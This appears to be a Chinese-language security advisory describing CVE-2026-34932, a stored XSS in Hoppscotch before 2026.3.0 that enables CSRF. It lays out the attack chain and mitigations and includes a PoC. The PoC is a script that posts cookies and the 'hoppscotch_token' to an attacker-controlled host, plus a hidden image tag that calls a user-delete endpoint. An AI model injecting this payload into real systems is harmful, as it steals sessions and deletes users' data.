IPBUF安全漏洞报告
English
CVE-2026-34932 CVSS 9.3 严重

CVE-2026-34932 Hoppscotch存储型XSS导致CSRF漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34932
漏洞类型
存储型XSS
CVSS评分
9.3 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Hoppscotch

相关标签

XSSStored XSSCSRFHoppscotchRCEWeb Security

漏洞概述

Hoppscotch是一款开源的API开发生态系统。在其2026.3.0版本之前的软件中,存在一个存储型跨站脚本(XSS)安全漏洞。该漏洞源于应用程序对用户提交的数据缺乏足够的过滤和校验,允许攻击者植入恶意脚本。当受害者访问受影响的功能模块时,恶意脚本将在其浏览器上下文中执行,从而可能引发跨站请求伪造(CSRF)攻击,危及用户数据安全。

技术细节

该漏洞核心原理在于存储型跨站脚本攻击(Stored XSS)。在Hoppscotch 2026.3.0之前的版本中,系统在处理用户输入的数据(例如API请求保存的名称、团队工作区描述等字段)时,未实施严格的输入验证和输出编码机制。攻击者可以构造包含恶意JavaScript代码的Payload,并将其提交到应用程序的数据库中。
当具有权限的其他用户(尤其是管理员)访问并加载被注入恶意数据的页面时,服务器会将存储的恶意脚本原样返回给客户端。客户端浏览器解析该响应,导致恶意代码在受害者的浏览器会话上下文中自动执行。
攻击者利用这一漏洞,不仅可以窃取受害者的Cookie、会话令牌等敏感凭证,还可以进一步结合应用程序的业务逻辑发起跨站请求伪造(CSRF)攻击。这使得攻击者能够以受害者的身份执行非预期的操作,例如修改后端配置、窃取API密钥或删除重要资源,从而严重威胁系统的完整性和机密性。

攻击链分析

STEP 1
侦察与准备
攻击者识别目标运行的是Hoppscotch且版本低于2026.3.0,并准备恶意的JavaScript Payload。
STEP 2
注入Payload
攻击者通过应用程序的合法接口(如创建API请求、保存集合等),将恶意脚本提交并存储到服务器数据库中。
STEP 3
诱导访问
攻击者等待或诱导具有权限的受害者(如管理员或协作者)访问包含恶意数据的特定页面。
STEP 4
代码执行
受害者的浏览器在加载页面时解析并执行存储的恶意脚本,导致XSS攻击发生。
STEP 5
利用与后渗透
恶意脚本窃取受害者的Session信息或直接发起CSRF请求,以受害者身份执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS Payload for Hoppscotch --> <!-- Inject into a vulnerable field like Request Name or Description --> <script> // Proof of Concept: Send session data to an external server var attackerUrl = 'https://attacker-controlled-server.com/collect'; fetch(attackerUrl, { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ victim_cookies: document.cookie, local_storage: localStorage.getItem('hoppscotch_token'), current_url: window.location.href }) }).then(() => console.log('Data exfiltrated')) .catch(err => console.error(err)); </script> <!-- Alternative: Simple CSRF Trigger --> <img src="https://target-hoppscotch-instance.com/api/user/delete" style="display:none;">

影响范围

Hoppscotch < 2026.3.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员限制对Hoppscotch实例的网络访问,仅允许受信任的IP访问,并教育用户不要点击来源不明的链接或查看未知的共享请求。同时,应定期审查数据库中存储的API请求和集合数据,检查是否包含异常的脚本标签。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表